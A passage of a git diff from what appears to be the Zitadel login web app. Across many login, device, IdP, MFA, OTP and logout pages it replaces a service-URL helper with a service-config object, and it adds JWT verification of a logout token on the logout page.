-    organization: sessionWithData.factors.user?.organizationId,
+  const branding = await getBrandingSettings({ serviceConfig, organization: sessionWithData.factors.user?.organizationId,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: sessionWithData.factors.user?.organizationId,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: sessionWithData.factors.user?.organizationId,
   });
 
   // check if user was verified recently
@@ -132,9 +122,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
     redirect(`/verify?` + params);
   }
 
-  const identityProviders = await getActiveIdentityProviders({
-    serviceUrl,
-    orgId: sessionWithData.factors?.user?.organizationId,
+  const identityProviders = await getActiveIdentityProviders({ serviceConfig, orgId: sessionWithData.factors?.user?.organizationId,
     linking_allowed: true,
   }).then((resp) => {
     return resp.identityProviders;
diff --git a/apps/login/src/app/(login)/device/consent/page.tsx b/apps/login/src/app/(login)/device/consent/page.tsx
index dade4aa3ebb..a9da42c59ce 100644
--- a/apps/login/src/app/(login)/device/consent/page.tsx
+++ b/apps/login/src/app/(login)/device/consent/page.tsx
@@ -1,7 +1,7 @@
 import { ConsentScreen } from "@/components/consent";
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getDefaultOrg, getDeviceAuthorizationRequest } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { headers } from "next/headers";
@@ -22,11 +22,9 @@ export default async function Page(props: { searchParams: Promise<Record<string
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const { deviceAuthorizationRequest } = await getDeviceAuthorizationRequest({
-    serviceUrl,
-    userCode,
+  const { deviceAuthorizationRequest } = await getDeviceAuthorizationRequest({ serviceConfig, userCode,
   });
 
   if (!deviceAuthorizationRequest) {
@@ -39,17 +37,13 @@ export default async function Page(props: { searchParams: Promise<Record<string
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   const params = new URLSearchParams();
diff --git a/apps/login/src/app/(login)/device/page.tsx b/apps/login/src/app/(login)/device/page.tsx
index f76e343adc0..4756eb44439 100644
--- a/apps/login/src/app/(login)/device/page.tsx
+++ b/apps/login/src/app/(login)/device/page.tsx
@@ -1,7 +1,7 @@
 import { DeviceCodeForm } from "@/components/device-code-form";
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getDefaultOrg } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
@@ -20,21 +20,17 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const organization = searchParams?.organization;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/idp/[provider]/account-not-found/page.tsx b/apps/login/src/app/(login)/idp/[provider]/account-not-found/page.tsx
index 45c2af13fc9..37a63180323 100644
--- a/apps/login/src/app/(login)/idp/[provider]/account-not-found/page.tsx
+++ b/apps/login/src/app/(login)/idp/[provider]/account-not-found/page.tsx
@@ -2,7 +2,7 @@ import { Alert, AlertType } from "@/components/alert";
 import { Button } from "@/components/button";
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getDefaultOrg } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
@@ -20,21 +20,17 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { organization, postErrorRedirectUrl } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/idp/[provider]/complete-registration/page.tsx b/apps/login/src/app/(login)/idp/[provider]/complete-registration/page.tsx
index e7167e158f2..dbf3e5abf13 100644
--- a/apps/login/src/app/(login)/idp/[provider]/complete-registration/page.tsx
+++ b/apps/login/src/app/(login)/idp/[provider]/complete-registration/page.tsx
@@ -1,7 +1,7 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { RegisterFormIDPIncomplete } from "@/components/register-form-idp-incomplete";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings } from "@/lib/zitadel";
 import { headers } from "next/headers";
 
@@ -16,11 +16,9 @@ export default async function CompleteRegistrationPage(props: {
   const { id, token, requestId, organization, idpId, idpUserId, idpUserName, givenName, familyName, email } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   if (!id || !token || !idpId || !organization || !idpUserId || !idpUserName) {
diff --git a/apps/login/src/app/(login)/idp/[provider]/failure/page.tsx b/apps/login/src/app/(login)/idp/[provider]/failure/page.tsx
index 2eb3a418615..21a1347e297 100644
--- a/apps/login/src/app/(login)/idp/[provider]/failure/page.tsx
+++ b/apps/login/src/app/(login)/idp/[provider]/failure/page.tsx
@@ -3,7 +3,7 @@ import { ChooseAuthenticatorToLogin } from "@/components/choose-authenticator-to
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getLoginSettings, getUserByID, listAuthenticationMethodTypes } from "@/lib/zitadel";
 import { HumanUser, User } from "@zitadel/proto/zitadel/user/v2/user_pb";
 import { AuthenticationMethodType } from "@zitadel/proto/zitadel/user/v2/user_service_pb";
@@ -18,16 +18,12 @@ export default async function Page(props: {
   const { organization, userId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
   let authMethods: AuthenticationMethodType[] = [];
@@ -43,9 +39,7 @@ export default async function Page(props: {
   }
 
   if (userId) {
-    const userResponse = await getUserByID({
-      serviceUrl,
-      userId,
+    const userResponse = await getUserByID({ serviceConfig, userId,
     });
     if (userResponse) {
       user = userResponse.user;
@@ -58,9 +52,7 @@ export default async function Page(props: {
       }
     }
 
-    const authMethodsResponse = await listAuthenticationMethodTypes({
-      serviceUrl,
-      userId,
+    const authMethodsResponse = await listAuthenticationMethodTypes({ serviceConfig, userId,
     });
     if (authMethodsResponse.authMethodTypes) {
       authMethods = authMethodsResponse.authMethodTypes;
diff --git a/apps/login/src/app/(login)/idp/[provider]/linking-failed/page.tsx b/apps/login/src/app/(login)/idp/[provider]/linking-failed/page.tsx
index 2b5e9227203..1be1453cce6 100644
--- a/apps/login/src/app/(login)/idp/[provider]/linking-failed/page.tsx
+++ b/apps/login/src/app/(login)/idp/[provider]/linking-failed/page.tsx
@@ -1,6 +1,6 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings } from "@/lib/zitadel";
 import { headers } from "next/headers";
 
@@ -15,11 +15,9 @@ export default async function LinkingFailedPage(props: {
   const { organization, error } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/idp/[provider]/registration-failed/page.tsx b/apps/login/src/app/(login)/idp/[provider]/registration-failed/page.tsx
index 9a8dcfe3b18..bc48a841b62 100644
--- a/apps/login/src/app/(login)/idp/[provider]/registration-failed/page.tsx
+++ b/apps/login/src/app/(login)/idp/[provider]/registration-failed/page.tsx
@@ -2,7 +2,7 @@ import { Alert, AlertType } from "@/components/alert";
 import { Button } from "@/components/button";
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getDefaultOrg } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
@@ -20,21 +20,17 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { organization, postErrorRedirectUrl } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/idp/ldap/page.tsx b/apps/login/src/app/(login)/idp/ldap/page.tsx
index 3fdde64d9fa..2e69b313d6a 100644
--- a/apps/login/src/app/(login)/idp/ldap/page.tsx
+++ b/apps/login/src/app/(login)/idp/ldap/page.tsx
@@ -1,7 +1,7 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { LDAPUsernamePasswordForm } from "@/components/ldap-username-password-form";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings, getDefaultOrg } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { headers } from "next/headers";
@@ -18,21 +18,17 @@ export default async function Page(props: {
   }
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   // return login failed if no linking or creation is allowed and no user was found
diff --git a/apps/login/src/app/(login)/idp/page.tsx b/apps/login/src/app/(login)/idp/page.tsx
index 09616a0553a..80890d47836 100644
--- a/apps/login/src/app/(login)/idp/page.tsx
+++ b/apps/login/src/app/(login)/idp/page.tsx
@@ -1,7 +1,7 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { SignInWithIdp } from "@/components/sign-in-with-idp";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getActiveIdentityProviders, getBrandingSettings } from "@/lib/zitadel";
 import { Metadata } from "next";
 import { getTranslations } from "next-intl/server";
@@ -19,18 +19,14 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const organization = searchParams?.organization;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const identityProviders = await getActiveIdentityProviders({
-    serviceUrl,
-    orgId: organization,
+  const identityProviders = await getActiveIdentityProviders({ serviceConfig, orgId: organization,
   }).then((resp) => {
     return resp.identityProviders;
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/loginname/page.tsx b/apps/login/src/app/(login)/loginname/page.tsx
index 7c98f9d7e5a..3a4af52c848 100644
--- a/apps/login/src/app/(login)/loginname/page.tsx
+++ b/apps/login/src/app/(login)/loginname/page.tsx
@@ -2,7 +2,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { SignInWithIdp } from "@/components/sign-in-with-idp";
 import { Translated } from "@/components/translated";
 import { UsernameForm } from "@/components/username-form";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getActiveIdentityProviders, getBrandingSettings, getDefaultOrg, getLoginSettings } from "@/lib/zitadel";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
@@ -24,38 +24,28 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const submit: boolean = searchParams?.submit === "true";
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig, });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
-  const contextLoginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const contextLoginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
-  const identityProviders = await getActiveIdentityProviders({
-    serviceUrl,
-    orgId: organization ?? defaultOrganization,
+  const identityProviders = await getActiveIdentityProviders({ serviceConfig, orgId: organization ?? defaultOrganization,
   }).then((resp) => {
     return resp.identityProviders;
   });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/logout/done/page.tsx b/apps/login/src/app/(login)/logout/done/page.tsx
index ecc95aff741..1405b848867 100644
--- a/apps/login/src/app/(login)/logout/done/page.tsx
+++ b/apps/login/src/app/(login)/logout/done/page.tsx
@@ -1,6 +1,6 @@
 import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { getBrandingSettings } from "@/lib/zitadel";
 import { headers } from "next/headers";
 
@@ -8,13 +8,11 @@ export default async function Page(props: { searchParams: Promise<any> }) {
   const searchParams = await props.searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const { organization } = searchParams;
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/logout/page.tsx b/apps/login/src/app/(login)/logout/page.tsx
index f35b5155baf..d7a328d44bc 100644
--- a/apps/login/src/app/(login)/logout/page.tsx
+++ b/apps/login/src/app/(login)/logout/page.tsx
@@ -2,8 +2,9 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { SessionsClearList } from "@/components/sessions-clear-list";
 import { Translated } from "@/components/translated";
 import { getAllSessionCookieIds } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
-import { getBrandingSettings, getDefaultOrg, listSessions } from "@/lib/zitadel";
+import { getServiceConfig } from "@/lib/service-url";
+import { getBrandingSettings, getDefaultOrg, listSessions, ServiceConfig } from "@/lib/zitadel";
+import { verifyJwt } from "@zitadel/client/node";
 import { Organization } from "@zitadel/proto/zitadel/org/v2/org_pb";
 import { Metadata } from "next";
 import { getTranslations } from "next-intl/server";
@@ -11,17 +12,14 @@ import { headers } from "next/headers";
 
 export async function generateMetadata(): Promise<Metadata> {
   const t = await getTranslations("logout");
-  return { title: t('title')};
+  return { title: t("title") };
 }
 
-async function loadSessions({ serviceUrl }: { serviceUrl: string }) {
+async function loadSessions({ serviceConfig }: { serviceConfig: ServiceConfig }) {
   const cookieIds = await getAllSessionCookieIds();
 
   if (cookieIds && cookieIds.length) {
-    const response = await listSessions({
-      serviceUrl,
-      ids: cookieIds.filter((id) => !!id) as string[],
-    });
+    const response = await listSessions({ serviceConfig, ids: cookieIds.filter((id) => !!id) as string[] });
     return response?.sessions ?? [];
   } else {
     console.info("No session cookie found.");
@@ -33,30 +31,46 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const searchParams = await props.searchParams;
 
   const organization = searchParams?.organization;
-  const postLogoutRedirectUri = searchParams?.post_logout_redirect || searchParams?.post_logout_redirect_uri;
-  const logoutHint = searchParams?.logout_hint;
-  // TODO implement with new translation service
-  // const UILocales = searchParams?.ui_locales;
+  const logoutToken = searchParams?.logout_token;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
+
+  let postLogoutRedirectUri, logoutHint;
+  if (logoutToken) {
+    try {
+      const payload = await verifyJwt<{ post_logout_redirect_uri?: string; logoutHint?: string }>(
+        logoutToken,
+        `${serviceConfig.baseUrl}/oauth/v2/keys`,
+        {
+          instanceHost: serviceConfig.instanceHost,
+          publicHost: serviceConfig.publicHost,
+        },
+      );
+      console.log("logout token payload", payload);
+
+      if (payload.post_logout_redirect_uri && typeof payload.post_logout_redirect_uri === "string") {
+        postLogoutRedirectUri = payload.post_logout_redirect_uri;
+      }
+      if (payload.logout_hint && typeof payload.logout_hint === "string") {
+        logoutHint = payload.logout_hint;
+      }
+    } catch (error) {
+      console.error("Failed to verify logout token", error);
+    }
+  }
 
   let defaultOrganization;
   if (!organization) {
-    const org: Organization | null = await getDefaultOrg({
-      serviceUrl,
-    });
+    const org: Organization | null = await getDefaultOrg({ serviceConfig });
     if (org) {
       defaultOrganization = org.id;
     }
   }
 
-  let sessions = await loadSessions({ serviceUrl });
+  let sessions = await loadSessions({ serviceConfig });
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization: organization ?? defaultOrganization,
-  });
+  const branding = await getBrandingSettings({ serviceConfig, organization: organization ?? defaultOrganization });
 
   const params = new URLSearchParams();
 
diff --git a/apps/login/src/app/(login)/mfa/page.tsx b/apps/login/src/app/(login)/mfa/page.tsx
index 950fbdc720e..9f300573593 100644
--- a/apps/login/src/app/(login)/mfa/page.tsx
+++ b/apps/login/src/app/(login)/mfa/page.tsx
@@ -5,7 +5,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getSession, listAuthenticationMethodTypes } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -23,24 +23,20 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, requestId, organization, sessionId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionFactors = sessionId
-    ? await loadSessionById(serviceUrl, sessionId, organization)
-    : await loadSessionByLoginname(serviceUrl, loginName, organization);
+    ? await loadSessionById(serviceConfig.baseUrl, sessionId, organization)
+    : await loadSessionByLoginname(serviceConfig.baseUrl, loginName, organization);
 
   async function loadSessionByLoginname(serviceUrl: string, loginName?: string, organization?: string) {
-    return loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    return loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
     }).then((session) => {
       if (session && session.factors?.user?.id) {
-        return listAuthenticationMethodTypes({
-          serviceUrl,
-          userId: session.factors.user.id,
+        return listAuthenticationMethodTypes({ serviceConfig, userId: session.factors.user.id,
         }).then((methods) => {
           return {
             factors: session?.factors,
@@ -53,15 +49,11 @@ export default async function Page(props: { searchParams: Promise<Record<string
 
   async function loadSessionById(host: string, sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
+    return getSession({ serviceConfig, sessionId: recent.id,
       sessionToken: recent.token,
     }).then((response) => {
       if (response?.session && response.session.factors?.user?.id) {
-        return listAuthenticationMethodTypes({
-          serviceUrl,
-          userId: response.session.factors.user.id,
+        return listAuthenticationMethodTypes({ serviceConfig, userId: response.session.factors.user.id,
         }).then((methods) => {
           return {
             factors: response.session?.factors,
@@ -72,9 +64,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
     });
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
 
   return (
diff --git a/apps/login/src/app/(login)/mfa/set/page.tsx b/apps/login/src/app/(login)/mfa/set/page.tsx
index 27377b8b4f6..db2e6f9176a 100644
--- a/apps/login/src/app/(login)/mfa/set/page.tsx
+++ b/apps/login/src/app/(login)/mfa/set/page.tsx
@@ -5,7 +5,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import {
   getBrandingSettings,
@@ -46,7 +46,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
   const { loginName, checkAfter, force, requestId, organization, sessionId } = searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
   const sessionWithData = sessionId
     ? await loadSessionById(sessionId, organization)
@@ -59,11 +59,9 @@ export default async function Page(props: { searchParams: Promise<Record<string
       throw Error("Could not get user id from session");
     }
 
-    return listAuthenticationMethodTypes({
-      serviceUrl,
-      userId,
+    return listAuthenticationMethodTypes({ serviceConfig, userId,
     }).then((methods) => {
-      return getUserByID({ serviceUrl, userId }).then((user) => {
+      return getUserByID({ serviceConfig, userId }).then((user) => {
         const humanUser = user.user?.type.case === "human" ? user.user?.type.value : undefined;
 
         return {
@@ -79,9 +77,7 @@ export default async function Page(props: { searchParams: Promise<Record<string
   }
 
   async function loadSessionByLoginname(loginName?: string, organization?: string) {
-    return loadMostRecentSession({
-      serviceUrl,
-      sessionParams: {
+    return loadMostRecentSession({ serviceConfig, sessionParams: {
         loginName,
         organization,
       },
@@ -92,22 +88,16 @@ export default async function Page(props: { searchParams: Promise<Record<string
 
   async function loadSessionById(sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
+    return getSession({ serviceConfig, sessionId: recent.id,
       sessionToken: recent.token,
     }).then((sessionResponse) => {
       return getAuthMethodsAndUser(sessionResponse.session);
     });
   }
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization: sessionWithData.factors?.user?.organizationId,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization: sessionWithData.factors?.user?.organizationId,
   });
 
   const { valid } = isSessionValid(sessionWithData);
diff --git a/apps/login/src/app/(login)/otp/[method]/page.tsx b/apps/login/src/app/(login)/otp/[method]/page.tsx
index 1f06391712b..56e7ba2c050 100644
--- a/apps/login/src/app/(login)/otp/[method]/page.tsx
+++ b/apps/login/src/app/(login)/otp/[method]/page.tsx
@@ -4,8 +4,8 @@ import { LoginOTP } from "@/components/login-otp";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
 import { getSessionCookieById } from "@/lib/cookies";
-import { getOriginalHost } from "@/lib/server/host";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getPublicHost } from "@/lib/server/host";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { getBrandingSettings, getLoginSettings, getSession } from "@/lib/zitadel";
 import { Metadata } from "next";
@@ -25,8 +25,8 @@ export default async function Page(props: {
   const searchParams = await props.searchParams;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
-  const host = await getOriginalHost();
+  const { serviceConfig } = getServiceConfig(_headers);
+  const host = getPublicHost(_headers);
 
   const {
     loginName, // send from password page
@@ -40,18 +40,11 @@ export default async function Page(props: {
 
   const session = sessionId
     ? await loadSessionById(sessionId, organization)
-    : await loadMostRecentSession({
-        serviceUrl,
-        sessionParams: { loginName, organization },
-      });
+    : await loadMostRecentSession({ serviceConfig, sessionParams: { loginName, organization } });
 
   async function loadSessionById(sessionId: string, organization?: string) {
     const recent = await getSessionCookieById({ sessionId, organization });
-    return getSession({
-      serviceUrl,
-      sessionId: recent.id,
-      sessionToken: recent.token,
-    }).then((response) => {
+    return getSession({ serviceConfig, sessionId: recent.id, sessionToken: recent.token }).then((response) => {
       if (response?.session) {
         return response.session;
       }
@@ -60,12 +53,12 @@ export default async function Page(props: {
 
   // email links do not come with organization, thus we need to use the session's organization
   const branding = await getBrandingSettings({
-    serviceUrl,
+    serviceConfig,
     organization: organization ?? session?.factors?.user?.organizationId,
   });
 
   const loginSettings = await getLoginSettings({
-    serviceUrl,
+    serviceConfig,
     organization: organization ?? session?.factors?.user?.organizationId,
   });
 
diff --git a/apps/login/src/app/(login)/otp/[method]/set/page.tsx b/apps/login/src/app/(login)/otp/[method]/set/page.tsx
index 54dc2d376cf..6e9bedda012 100644
--- a/apps/login/src/app/(login)/otp/[method]/set/page.tsx
+++ b/apps/login/src/app/(login)/otp/[method]/set/page.tsx
@@ -5,7 +5,7 @@ import { DynamicTheme } from "@/components/dynamic-theme";
 import { TotpRegister } from "@/components/totp-register";
 import { Translated } from "@/components/translated";
 import { UserAvatar } from "@/components/user-avatar";
-import { getServiceUrlFromHeaders } from "@/lib/service-url";
+import { getServiceConfig } from "@/lib/service-url";
 import { loadMostRecentSession } from "@/lib/session";
 import { addOTPEmail, addOTPSMS, getBrandingSettings, getLoginSettings, registerTOTP } from "@/lib/zitadel";
 import { RegisterTOTPResponse } from "@zitadel/proto/zitadel/user/v2/user_service_pb";
@@ -24,20 +24,14 @@ export default async function Page(props: {
   const { method } = params;
 
   const _headers = await headers();
-  const { serviceUrl } = getServiceUrlFromHeaders(_headers);
+  const { serviceConfig } = getServiceConfig(_headers);
 
-  const branding = await getBrandingSettings({
-    serviceUrl,
-    organization,
+  const branding = await getBrandingSettings({ serviceConfig, organization,
   });
-  const loginSettings = await getLoginSettings({
-    serviceUrl,
-    organization,
+  const loginSettings = await getLoginSettings({ serviceConfig, organization,
   });
 
-  const session = await loadMostRecentSession({
-    serviceUrl,
-    sessionParams: {
+  const session = await loadMostRecentSession({ serviceConfig, sessionParams: {
       loginName,
       organization,
     },
@@ -46,9 +40,7 @@ export default async function Page(props: {
   let totpResponse: RegisterTOTPResponse | undefined, error: Error | undefined;
   if (session && session.factors?.user?.id) {
     if (method === "time-based") {
-      await registerTOTP({
-        serviceUrl,
-        userId: session.factors.user.id,
+      await registerTOTP({ serviceConfig, userId: session.factors.user.id,
       })
         .then((resp) => {
           if (resp) {
@@ -59,17 +51,13 @@ export default async function Page(props: {
           error = err;
         });
     } else if (method === "sms") {
-      await addOTPSMS({
-        serviceUrl,
-        userId: session.factors.user.id,
+      await addOTPSMS({ serviceConfig, userId: session.factors.user.id,
       }).catch((_error) => {
         // TODO: Throw this error?
         new Error("Could not add OTP via SMS");
       });
     } else if (method === "email") {
-      await addOTPEmail({
-        serviceUrl,
-        userId: session.factors.user.id,
